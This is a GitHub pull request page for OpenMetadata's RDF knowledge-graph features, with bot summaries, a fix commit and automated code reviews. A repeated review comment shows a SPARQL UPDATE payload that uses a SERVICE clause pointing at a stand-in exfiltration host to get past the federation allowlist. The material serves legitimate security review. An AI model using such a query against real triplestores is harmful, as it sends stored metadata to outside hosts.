Repository navigation
feat(rdf): SPARQL playground, MCP knowledge-graph tools, insights endpoints - #28042
Conversation
✅ TypeScript Types Auto-UpdatedThe generated TypeScript types have been automatically updated based on JSON schema changes in this PR. |
|
The Python checkstyle failed. Please run You can install the pre-commit hooks with |
There was a problem hiding this comment.
Pull request overview
This PR expands OpenMetadata’s RDF/knowledge-graph capabilities end-to-end: UI support for running SPARQL, spec-level ontology/context updates, and service/MCP tooling for querying, validation (SHACL), federation-guarding, inference rules, and “insights” SPARQL query builders.
Changes:
- Adds SPARQL playground client support + routing, plus supporting UI enums/interfaces and locale keys.
- Introduces/extends RDF specs (ontology changelog, JSON-LD contexts, RDF configuration schema) and adds inference-rule + federation configuration shapes.
- Adds service-side RDF utilities (ontology document serving, SHACL validator, usage/quality/activity mappers, insights query builders) and MCP tools that expose read-only SPARQL + graph utilities.
Reviewed changes
Copilot reviewed 97 out of 100 changed files in this pull request and generated 9 comments.
Show a summary per file
| File | Description |
|---|---|
| openmetadata-ui/src/main/resources/ui/src/rest/rdfAPI.ts | Adds SPARQL playground REST helper (runSparqlQuery) and result typing. |
| openmetadata-ui/src/main/resources/ui/src/pages/SparqlPlayground/SparqlPlayground.interface.ts | Adds local types/constants for saved queries and sample queries. |
| openmetadata-ui/src/main/resources/ui/src/locale/languages/en-us.json | Adds SPARQL playground-related labels/messages; removes one label key. |
| openmetadata-ui/src/main/resources/ui/src/locale/languages/zh-tw.json | Adds SPARQL playground-related labels/messages; removes one label key. |
| openmetadata-ui/src/main/resources/ui/src/locale/languages/zh-cn.json | Adds SPARQL playground-related labels/messages; removes one label key. |
| openmetadata-ui/src/main/resources/ui/src/locale/languages/tr-tr.json | Adds SPARQL playground-related labels/messages; removes one label key. |
| openmetadata-ui/src/main/resources/ui/src/locale/languages/th-th.json | Adds SPARQL playground-related labels/messages; removes one label key. |
| openmetadata-ui/src/main/resources/ui/src/locale/languages/ru-ru.json | Adds SPARQL playground-related labels/messages; removes one label key. |
| openmetadata-ui/src/main/resources/ui/src/locale/languages/pt-pt.json | Adds SPARQL playground-related labels/messages; removes one label key. |
| openmetadata-ui/src/main/resources/ui/src/locale/languages/pt-br.json | Adds SPARQL playground-related labels/messages; removes one label key. |
| openmetadata-ui/src/main/resources/ui/src/locale/languages/pr-pr.json | Adds SPARQL playground-related labels/messages; removes one label key. |
| openmetadata-ui/src/main/resources/ui/src/locale/languages/nl-nl.json | Adds SPARQL playground-related labels/messages; removes one label key. |
| openmetadata-ui/src/main/resources/ui/src/locale/languages/mr-in.json | Adds SPARQL playground-related labels/messages; removes one label key. |
| openmetadata-ui/src/main/resources/ui/src/locale/languages/ko-kr.json | Adds SPARQL playground-related labels/messages; removes one label key. |
| openmetadata-ui/src/main/resources/ui/src/locale/languages/ja-jp.json | Adds SPARQL playground-related labels/messages; removes one label key. |
| openmetadata-ui/src/main/resources/ui/src/locale/languages/he-he.json | Adds SPARQL playground-related labels/messages; removes one label key. |
| openmetadata-ui/src/main/resources/ui/src/locale/languages/gl-es.json | Adds SPARQL playground-related labels/messages; removes one label key. |
| openmetadata-ui/src/main/resources/ui/src/locale/languages/fr-fr.json | Adds SPARQL playground-related labels/messages; removes one label key. |
| openmetadata-ui/src/main/resources/ui/src/locale/languages/es-es.json | Adds SPARQL playground-related labels/messages; removes one label key. |
| openmetadata-ui/src/main/resources/ui/src/locale/languages/de-de.json | Adds SPARQL playground-related labels/messages; removes one label key. |
| openmetadata-ui/src/main/resources/ui/src/locale/languages/ar-sa.json | Adds SPARQL playground-related labels/messages; removes one label key. |
| openmetadata-ui/src/main/resources/ui/src/enums/codemirror.enum.ts | Adds CodeMirror mode value for SPARQL. |
| openmetadata-ui/src/main/resources/ui/src/constants/constants.ts | Adds route constant for SPARQL playground. |
| openmetadata-ui/src/main/resources/ui/src/components/KnowledgeGraph/KnowledgeGraph.tsx | Refactors metadata-mode body rendering; removes a header label. |
| openmetadata-ui/src/main/resources/ui/src/components/AppRouter/AuthenticatedAppRouter.tsx | Registers lazy-loaded SPARQL playground route. |
| openmetadata-spec/src/main/resources/rdf/ontology/openmetadata-prov.ttl | Adds missing RDF prefix in PROV extension TTL. |
| openmetadata-spec/src/main/resources/rdf/ontology/CHANGELOG.md | Introduces ontology changelog documenting fidelity changes. |
| openmetadata-spec/src/main/resources/rdf/contexts/lineage.jsonld | Adjusts lineage JSON-LD mappings to avoid predicate collisions. |
| openmetadata-spec/src/main/resources/rdf/contexts/governance.jsonld | Aligns governance mappings with SKOS predicates and adds new fields. |
| openmetadata-spec/src/main/resources/rdf/contexts/automation.jsonld | Adds JSON-LD context for automation/workflow entities. |
| openmetadata-spec/src/main/resources/rdf/contexts/ai.jsonld | Adds JSON-LD context for AI/MCP-related entities. |
| openmetadata-spec/src/main/resources/json/schema/api/configuration/rdfConfiguration.json | Adds federation config block to RDF configuration schema. |
| openmetadata-spec/src/main/resources/json/schema/api/configuration/rdf/inferenceRule.json | Adds schema for inference rule objects (CONSTRUCT/RDFS placeholder). |
| openmetadata-spec/src/main/resources/json/schema/api/configuration/rdf/customOntology.json | Adds schema for custom ontology extension definitions. |
| openmetadata-service/src/test/java/org/openmetadata/service/resources/rdf/RdfShaclValidatorTest.java | Adds SHACL validation tests for key shape constraints. |
| openmetadata-service/src/test/java/org/openmetadata/service/resources/rdf/OntologyDocumentTest.java | Adds tests for ontology serving endpoint serialization. |
| openmetadata-service/src/test/java/org/openmetadata/service/rdf/translator/RdfUsageMapperTest.java | Adds tests for RDF usage summary mapping. |
| openmetadata-service/src/test/java/org/openmetadata/service/rdf/insights/RecommendationsQueryBuilderTest.java | Adds tests for recommendations SPARQL builder validation/shape. |
| openmetadata-service/src/test/java/org/openmetadata/service/rdf/insights/CoOccurrenceQueryBuilderTest.java | Adds tests for co-occurrence/popularity/reach SPARQL builders. |
| openmetadata-service/src/main/resources/rdf/inference-rules/transitive-lineage-closure.json | Adds starter inference rule JSON. |
| openmetadata-service/src/main/resources/rdf/inference-rules/schema-tag-inheritance.json | Adds starter inference rule JSON. |
| openmetadata-service/src/main/resources/rdf/inference-rules/pii-propagation-via-lineage.json | Adds starter inference rule JSON. |
| openmetadata-service/src/main/resources/rdf/inference-rules/domain-membership-inheritance.json | Adds starter inference rule JSON. |
| openmetadata-service/src/main/java/org/openmetadata/service/resources/rdf/RdfShaclValidator.java | Adds SHACL shapes loader + validator helper. |
| openmetadata-service/src/main/java/org/openmetadata/service/resources/rdf/OntologyDocument.java | Adds merged ontology document loader + serializer for multiple formats. |
| openmetadata-service/src/main/java/org/openmetadata/service/rdf/translator/RdfUsageMapper.java | Adds mapper emitting usage-summary triples. |
| openmetadata-service/src/main/java/org/openmetadata/service/rdf/translator/RdfQualityMapper.java | Adds mapper emitting DQV quality measurement resources. |
| openmetadata-service/src/main/java/org/openmetadata/service/rdf/translator/RdfActivityMapper.java | Adds PROV activity mapping for pipeline runs. |
| openmetadata-service/src/main/java/org/openmetadata/service/rdf/translator/JsonLdTranslator.java | Loads new JSON-LD contexts and assigns column IDs for named column resources. |
| openmetadata-service/src/main/java/org/openmetadata/service/rdf/RdfUtils.java | Adds RDF types for new entities and a helper to mint column URIs. |
| openmetadata-service/src/main/java/org/openmetadata/service/rdf/insights/RecommendationsQueryBuilder.java | Adds recommendations SPARQL builder. |
| openmetadata-service/src/main/java/org/openmetadata/service/rdf/insights/ImportanceQueryBuilder.java | Adds importance ranking SPARQL builder. |
| openmetadata-service/src/main/java/org/openmetadata/service/rdf/insights/CoOccurrenceQueryBuilder.java | Adds co-occurrence/popularity/reach SPARQL builders. |
| openmetadata-service/src/main/java/org/openmetadata/service/rdf/inference/InferenceRuleValidator.java | Adds strict validation for inference rule bodies. |
| openmetadata-service/src/main/java/org/openmetadata/service/rdf/inference/InferenceRuleRegistry.java | Adds in-memory inference rule registry + starter pack loader. |
| openmetadata-service/src/main/java/org/openmetadata/service/rdf/federation/SparqlFederationGuard.java | Adds SERVICE allowlist enforcement for federated SPARQL. |
| openmetadata-service/src/main/java/org/openmetadata/service/rdf/extension/CustomOntologyRegistry.java | Adds in-memory registry for custom ontology extensions. |
| openmetadata-mcp/src/test/java/org/openmetadata/mcp/tools/OntologyDescribeToolTest.java | Adds tests for ontology describe MCP tool. |
| openmetadata-mcp/src/test/java/org/openmetadata/mcp/tools/FindByTagToolTest.java | Adds tests for find-by-tag MCP tool. |
| openmetadata-mcp/src/test/java/org/openmetadata/mcp/tools/EntityNeighborhoodToolTest.java | Adds tests for entity neighborhood MCP tool. |
| openmetadata-mcp/src/main/resources/json/data/mcp/tools.json | Registers new MCP tool schemas for KG/SPARQL features. |
| openmetadata-mcp/src/main/java/org/openmetadata/mcp/tools/SparqlQueryTool.java | Adds read-only SPARQL MCP tool with federation guard + truncation. |
| openmetadata-mcp/src/main/java/org/openmetadata/mcp/tools/ShaclValidateTool.java | Adds SHACL validation MCP tool (entity-scoped or full graph). |
| openmetadata-mcp/src/main/java/org/openmetadata/mcp/tools/OntologyDescribeTool.java | Adds ontology describe MCP tool (full ontology or DESCRIBE). |
| openmetadata-mcp/src/main/java/org/openmetadata/mcp/tools/FindByTagTool.java | Adds MCP tool to find entities by tag/glossary FQN. |
| openmetadata-mcp/src/main/java/org/openmetadata/mcp/tools/DefaultToolContext.java | Wires new MCP tools into tool dispatcher. |
| ingestion/src/metadata/workflow/profiler.py | Adds optional ontology emission step to profiler workflow. |
| docker/development/docker-compose-postgres-fuseki.yml | Adds RDF endpoint env var for Fuseki-based dev stack. |
Comments suppressed due to low confidence (1)
openmetadata-service/src/main/java/org/openmetadata/service/rdf/RdfUtils.java:20
- New RDF types were added for
workflowinstance,agentexecution,mcpexecution,automation, etc., butPROV_ACTIVITY_TYPESwas not updated. SinceJsonLdTranslator.toRdf()relies ongetProvType()to addprov:Activitytyping (when the primary rdf:type is not already a PROV class), these new execution-like entities will missrdf:type prov:Activity, reducing PROV-O compatibility and potentially breaking queries that filter byprov:Activity. Please extend the PROV type sets to cover the new entity types.
private static final Set<String> PROV_ACTIVITY_TYPES =
Set.of(
"pipeline",
"ingestionpipeline",
"storedprocedure",
"dbtpipeline",
"workflow",
"pipelinerun");
|
The Python checkstyle failed. Please run You can install the pre-commit hooks with |
…ntic correctness Addresses the open review comments on PR #28042. Each fix is independent. P0 — correctness / security - ingestion/profiler.py: drop residual OntologyEmitter import (module removed in the R2RML pivot). Every pytest that imports profiler.py was failing with ModuleNotFoundError; reverts file to match main. - RdfResource.validateGraph + ShaclValidateTool: replace `entityUri.replace(">", "")` with strict absolute-http(s)-IRI validation. Reject control chars, whitespace, quotes, and angle brackets up front. Closes the SPARQL-injection vector via newlines / # comments in the DESCRIBE template. - EntityNeighborhoodTool.buildConstructQuery: rewrite to emit each path edge in its own UNION arm with the correct subject. The previous BIND(<entity> AS ?s) applied across all arms collapsed every multi-hop edge onto the start node. P1 — semantic / robustness - CommunityComputation.parseGraph: stop emitting both directions; the FILTER in the SPARQL canonicalises pairs and Louvain.addAllEdges symmetrises the adjacency internally. Double symmetrisation was doubling every edge weight. - RdfActivityMapper: emit `prov:wasInformedBy` (Activity → Activity) instead of `prov:wasGeneratedBy` (Entity → Activity) for pipeline-run → pipeline. Closes the PROV-O domain/range inversion. - RdfQualityMapper.measurementUri: deterministic URI built from subject + metric + timestamp. Random UUID was leaking orphan QualityMeasurement nodes on every re-emit because deletion only follows subject/object on the entity itself. - SparqlQueryTool: byte-aware truncation. Previous substring-by-char cap could exceed maxBytes for multi-byte UTF-8 and never enforced a real byte limit. - ShaclValidateTool: require explicit `fullGraph=true` to validate the entire triplestore; reject otherwise. Prevents accidental OOM on multi-GB graphs. - RdfResource.getFederationGuard: synchronise the lazy-init path; the volatile field was double-checked without a lock. P2 — code quality - RdfResource.validateGraph: replace 14 inline FQN class names with proper imports (Model / ModelFactory / Lang / RDFDataMgr / RDFFormat / ValidationReport). - RdfShaclValidator + OntologyDocument: catch RuntimeException (covers RiotException) in the static-init shapes/ontology load. A corrupt classpath resource now degrades to an empty model instead of failing class init and taking down /rdf/* and MCP describe. - i18n: restore `label.view-mode` (still referenced by OntologyExplorer/FilterToolbar.tsx) and route the SparqlPlayground sample-query names through translation keys (`label.sparql-sample-*`). All 17 locales synced via `yarn i18n`. Tests updated where the fix changes observable behaviour: - EntityNeighborhoodToolTest: assert the new multi-hop subject preservation and the new depth-3 chain variable name. - CommunityComputationTest: assert the directed-single-edge behaviour (Louvain symmetrises internally). - RdfPropertyMapperTest: assert `prov:wasInformedBy` instead of `prov:wasGeneratedBy` for the pipeline activity. - SparqlPlayground.test.tsx: drive the sample button by `nameKey`. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Code Review ✅ Approved 15 resolved / 15 findingsLarge-scale RDF knowledge-graph expansion adding SPARQL playground UI, five MCP tools, insights endpoints (PageRank, Louvain communities, lineage paths, co-occurrence, recommendations), inference-rule registry, federated-SPARQL allowlist, SHACL validation, custom-ontology upload, PROV-O/DQV/usage mappers, and JSON-LD context coverage. Removes experimental R2RML row-materialization. All 15 findings from prior reviews resolved: SPARQL injection, neighborhood query correctness, Louvain edge symmetrization, type safety, SparqlFederationGuard initialization, tool duplication, federation bypass, forward-reference validation, URI validation, cardinality enforcement, relation metadata preservation, reindex staging, glossary loop guards, and relation-type filtering. No issues remain. ✅ 15 resolved✅ Security: SPARQL injection via insufficient URI sanitization in validateGraph
✅ Bug: CONSTRUCT query flattens multi-hop neighborhood onto single subject
✅ Performance: Double symmetrization quadruples edge weights in Louvain input
✅ Quality: 14 fully-qualified class names in validateGraph method
✅ Bug: SparqlFederationGuard race condition on lazy init
...and 10 more resolved from earlier reviews OptionsDisplay: compact → Showing less information. Comment with these commands to change the behavior for this request:
Was this helpful? React with 👍 / 👎 | Powered by Gitar — free for open source |
| .entity("RDF repository is not enabled") | ||
| .build(); | ||
| executeSparqlUpdate(guardPrincipal(securityContext), sparqlQuery.getQuery()); | ||
| return Response.ok(new SparqlUpdateResult("success")).build(); |
|
|



Describe your changes
This PR closes the RDF fidelity gaps in the knowledge-graph stack and removes the experimental R2RML row-materialization feature (the schema-level concept-graph is the strategy going forward; row triples don't scale and were the wrong target). It adds: a SPARQL playground UI, five MCP knowledge-graph tools (SparqlQueryTool, EntityNeighborhoodTool, FindByTagTool, OntologyDescribeTool, ShaclValidateTool), insights endpoints (PageRank-based importance, Louvain communities, shortest-path explain-lineage, tag/glossary co-occurrence, recommendations), an inference-rule registry with a starter pack (transitive lineage, schema-tag/domain inheritance, PII-propagation-via-lineage), federated-SPARQL allowlist, expanded SHACL shapes + REST validator, custom-ontology upload/extension, PROV-O activity mapper, DQV quality mapper, usage mapper, and JSON-LD context coverage for AI/Automation/Governance entities. Deletes the R2RML mapping schema, validator, registry, applier, materializer workflow, OntologyEmitter sink, Linked-Data UI mode, and
emitOntologyTriplesprofiler flag. Adds the OpenMetadata ontology TTL coverage (skos, dcat, prov, dprod, foaf) for the new entity types and a CHANGELOG.Type of change
Tests
SparqlQueryToolTest,EntityNeighborhoodToolTest,FindByTagToolTest,OntologyDescribeToolTest,ShaclValidateToolTest,CustomOntologyValidatorTest,SparqlFederationGuardTest,InferenceRuleValidatorTest,CentralityComputationTest,CommunityComputationTest,LouvainTest,PageRankTest,LineagePathBuilderTest,LineagePathFinderTest,ImportanceQueryBuilderTest,CoOccurrenceQueryBuilderTest,RecommendationsQueryBuilderTest,RdfShaclValidatorTest,OntologyDocumentTest,RdfUsageMapperTest,RdfJsonLdContextTest, expandedRdfPropertyMapperTest, andRdfResourceIT. SPARQL playground covered bySparqlPlayground.test.tsx.UI screen recording / screenshots
SPARQL playground + KnowledgeGraph view: screenshot/recording to be attached on PR.
🤖 Generated with Claude Code
Summary by Gitar
rdfConfiguration.tsandrdfConfiguration.jsonto support the new knowledge-graph infrastructure.remoteEndpointtoRDF_REMOTE_ENDPOINTinopenmetadata.yaml.MigrationWorkflow.javato explicitly list pending migration versions in error logs.OntologySqlMigrationParityTestto ensure schema consistency for RDF migration steps.panel-background-colorto all internationalization files inopenmetadata-uito support new UI theming.RdfPropertyMapperto handle table constraints, profile DQV measurements, pipeline activities, and usage summaries as structured RDF.getColumnLineageto emit URI references for source/destination columns alongside string FQNs.This will update automatically on new commits.
------|----------|
| openmetadata-service/src/main/java/org/openmetadata/service/resources/rdf/RdfResource.java | Large new endpoint surface (+600 lines): adds SHACL validate, inference rules CRUD, insights endpoints, and custom ontology management. The SELECT path correctly enforces the federation guard; the UPDATE endpoint still bypasses it (flagged in prior review, unaddressed). |
| openmetadata-mcp/src/main/java/org/openmetadata/mcp/tools/EntityNeighborhoodTool.java | New MCP tool: builds a neighborhood subgraph for an entity. buildConstructQuery has a correctness bug where ARM 3 is redundant and 2-hop+ incoming edges are entirely missing from the CONSTRUCT result, making the depth parameter misleading for the triples field. |
| openmetadata-mcp/src/main/java/org/openmetadata/mcp/tools/ShaclValidateTool.java | New MCP SHACL validation tool; the fullGraph gate uses Boolean.TRUE.equals() which rejects string 'true' inputs common in MCP payloads, silently blocking full-graph validation even when explicitly requested. |
| openmetadata-service/src/main/java/org/openmetadata/service/rdf/federation/SparqlFederationGuard.java | New federation guard using Jena ElementWalker to detect SERVICE clauses. Works correctly for read queries including nested subqueries. Cannot inspect SPARQL UPDATE strings. |
| openmetadata-service/src/main/java/org/openmetadata/service/rdf/insights/PageRank.java | New weighted PageRank with dangling-node mass redistribution and convergence tolerance. Logic appears correct. |
| openmetadata-service/src/main/java/org/openmetadata/service/rdf/insights/Louvain.java | New greedy first-pass Louvain community detection. Modularity gain formula is correct, edge symmetrization and zero-weight clamping are handled, determinism is preserved by sorting candidate communities. |
| openmetadata-service/src/main/java/org/openmetadata/service/rdf/insights/LineagePathFinder.java | BFS lineage path finder with visited-set cycle protection and one-query-per-frontier pattern. Logic appears correct; type decoration failure degrades gracefully. |
| openmetadata-service/src/main/java/org/openmetadata/service/rdf/extension/CustomOntologyValidator.java | New custom ontology validator. The hasCycle onStack dirty-read bug (flagged in prior review) remains present — false-positive cycle errors can appear for valid acyclic ontologies. |
| openmetadata-mcp/src/main/java/org/openmetadata/mcp/tools/SparqlQueryTool.java | Read-only SPARQL MCP tool with proper read-only gate, federation guard enforcement, result-size cap, and safe UTF-8 byte truncation. Looks correct. |
| openmetadata-ui/src/main/resources/ui/src/pages/SparqlPlayground/SparqlPlayground.component.tsx | New SPARQL playground UI with query editor, format/inference selectors, localStorage persistence, and tabular result rendering. No XSS risk. |
Sequence Diagram
%%{init: {'theme': 'neutral'}}%% sequenceDiagram participant Client as MCP / REST Client participant RdfResource participant FedGuard as SparqlFederationGuard participant Fuseki as Fuseki Triplestore participant PageRank participant Louvain Note over Client,Fuseki: SPARQL Read path Client->>RdfResource: "POST /rdf/sparql {query}" RdfResource->>FedGuard: enforce(query) FedGuard-->>RdfResource: ok / FederationDisallowedException RdfResource->>Fuseki: executeSparqlQuery Fuseki-->>Client: results Note over Client,Fuseki: SPARQL Write path - guard NOT called Client->>RdfResource: "PUT /rdf/sparql {update}" RdfResource->>Fuseki: executeSparqlUpdate(query) Fuseki-->>Client: success Note over Client,Fuseki: Centrality recompute Client->>RdfResource: POST /rdf/insights/recompute-centrality RdfResource->>Fuseki: SELECT graph snapshot Fuseki-->>PageRank: adjacency map PageRank-->>RdfResource: scores RdfResource->>Fuseki: INSERT DATA scores to named graph Note over Client,Fuseki: MCP EntityNeighborhoodTool Client->>RdfResource: "entity_neighborhood {entityId, depth}" RdfResource->>Fuseki: CONSTRUCT (depth-N outgoing + 1-hop incoming only) Fuseki-->>Client: triples - incomplete for depth 2+ incoming%%{init: {'theme': 'base', 'themeVariables': {"darkMode": true, "background": "#0d1117", "primaryColor": "#21262d", "primaryTextColor": "#e6edf3", "primaryBorderColor": "#8b949e", "lineColor": "#8b949e", "textColor": "#e6edf3", "edgeLabelBackground": "#161b22", "actorBkg": "#21262d", "actorBorder": "#8b949e", "actorTextColor": "#e6edf3", "actorLineColor": "#8b949e", "signalColor": "#8b949e", "signalTextColor": "#e6edf3", "noteBkgColor": "#373320", "noteBorderColor": "#d4a72c", "noteTextColor": "#f0e6c0", "labelBoxBkgColor": "#21262d", "labelBoxBorderColor": "#8b949e", "labelTextColor": "#e6edf3", "loopTextColor": "#e6edf3", "activationBkgColor": "#30363d", "activationBorderColor": "#8b949e"}}}%% sequenceDiagram participant Client as MCP / REST Client participant RdfResource participant FedGuard as SparqlFederationGuard participant Fuseki as Fuseki Triplestore participant PageRank participant Louvain Note over Client,Fuseki: SPARQL Read path Client->>RdfResource: "POST /rdf/sparql {query}" RdfResource->>FedGuard: enforce(query) FedGuard-->>RdfResource: ok / FederationDisallowedException RdfResource->>Fuseki: executeSparqlQuery Fuseki-->>Client: results Note over Client,Fuseki: SPARQL Write path - guard NOT called Client->>RdfResource: "PUT /rdf/sparql {update}" RdfResource->>Fuseki: executeSparqlUpdate(query) Fuseki-->>Client: success Note over Client,Fuseki: Centrality recompute Client->>RdfResource: POST /rdf/insights/recompute-centrality RdfResource->>Fuseki: SELECT graph snapshot Fuseki-->>PageRank: adjacency map PageRank-->>RdfResource: scores RdfResource->>Fuseki: INSERT DATA scores to named graph Note over Client,Fuseki: MCP EntityNeighborhoodTool Client->>RdfResource: "entity_neighborhood {entityId, depth}" RdfResource->>Fuseki: CONSTRUCT (depth-N outgoing + 1-hop incoming only) Fuseki-->>Client: triples - incomplete for depth 2+ incomingComments Outside Diff (2)
openmetadata-service/src/main/java/org/openmetadata/service/resources/rdf/RdfResource.java, line 1109-1133 (link)updateSparqlvalidates syntax withUpdateFactory.createbut never callsgetFederationGuard().enforce(query). More critically, even if it did,SparqlFederationGuard.parseQuietlyusesQueryFactory.create, which only parses SELECT/ASK/DESCRIBE/CONSTRUCT — any SPARQL UPDATE string causes aQueryExceptionthere, soparseQuietlyreturnsOptional.empty(),serviceEndpointsreturns an empty list, andenforcebecomes a no-op for every update. An admin can therefore submitINSERT {} WHERE { SERVICE <http://exfil.example.com/> { ?s ?p ?o } }and the guard never fires, bypassing therdf.federation.allowedEndpointsallowlist entirely. The fix requires extendingSparqlFederationGuardto walk update graph patterns viaUpdateFactory.createand calling the guard on the update path too.openmetadata-service/src/main/java/org/openmetadata/service/resources/rdf/RdfResource.java, line 1096-1138 (link)updateSparqlvalidates syntax viaUpdateFactory.createbut never callsgetFederationGuard().enforce(query). Even if it did,SparqlFederationGuard.parseQuietlyusesQueryFactory.create, which only parses SELECT/ASK/DESCRIBE/CONSTRUCT — a SPARQL UPDATE string throwsQueryExceptionthere, soparseQuietlyreturnsOptional.empty(),serviceEndpointsreturns an empty list, andenforceis a no-op for every UPDATE.An admin can submit
INSERT {} WHERE { SERVICE <http://exfil.example.com/> { ?s ?p ?o } }and the guard never fires, bypassing therdf.federation.allowedEndpointsallowlist entirely. The fix requires two parts: (1) callgetFederationGuard().enforce(query)before executing, and (2) extendSparqlFederationGuardto also parse UPDATE bodies usingUpdateFactoryand walk their SERVICE elements.Reviews (8): Last reviewed commit: "refactor(mcp): type EntityNeighborhoodTo..." | Re-trigger Greptile
Greptile Summary
This PR expands the RDF knowledge-graph stack. The main changes are:
Confidence Score: 5/5
This follow-up does not add a new blocking comment.
Important Files Changed
Comments Outside Diff (2)
openmetadata-service/src/main/java/org/openmetadata/service/resources/rdf/RdfResource.java, line 1109-1133 (link)updateSparqlvalidates syntax withUpdateFactory.createbut never callsgetFederationGuard().enforce(query). More critically, even if it did,SparqlFederationGuard.parseQuietlyusesQueryFactory.create, which only parses SELECT/ASK/DESCRIBE/CONSTRUCT — any SPARQL UPDATE string causes aQueryExceptionthere, soparseQuietlyreturnsOptional.empty(),serviceEndpointsreturns an empty list, andenforcebecomes a no-op for every update. An admin can therefore submitINSERT {} WHERE { SERVICE <http://exfil.example.com/> { ?s ?p ?o } }and the guard never fires, bypassing therdf.federation.allowedEndpointsallowlist entirely. The fix requires extendingSparqlFederationGuardto walk update graph patterns viaUpdateFactory.createand calling the guard on the update path too.openmetadata-service/src/main/java/org/openmetadata/service/resources/rdf/RdfResource.java, line 1096-1138 (link)updateSparqlvalidates syntax viaUpdateFactory.createbut never callsgetFederationGuard().enforce(query). Even if it did,SparqlFederationGuard.parseQuietlyusesQueryFactory.create, which only parses SELECT/ASK/DESCRIBE/CONSTRUCT — a SPARQL UPDATE string throwsQueryExceptionthere, soparseQuietlyreturnsOptional.empty(),serviceEndpointsreturns an empty list, andenforceis a no-op for every UPDATE.An admin can submit
INSERT {} WHERE { SERVICE <http://exfil.example.com/> { ?s ?p ?o } }and the guard never fires, bypassing therdf.federation.allowedEndpointsallowlist entirely. The fix requires two parts: (1) callgetFederationGuard().enforce(query)before executing, and (2) extendSparqlFederationGuardto also parse UPDATE bodies usingUpdateFactoryand walk their SERVICE elements.Reviews (13): Last reviewed commit: "Merge branch 'main' into harshach/rdf-fi..." | Re-trigger Greptile
Context used (3)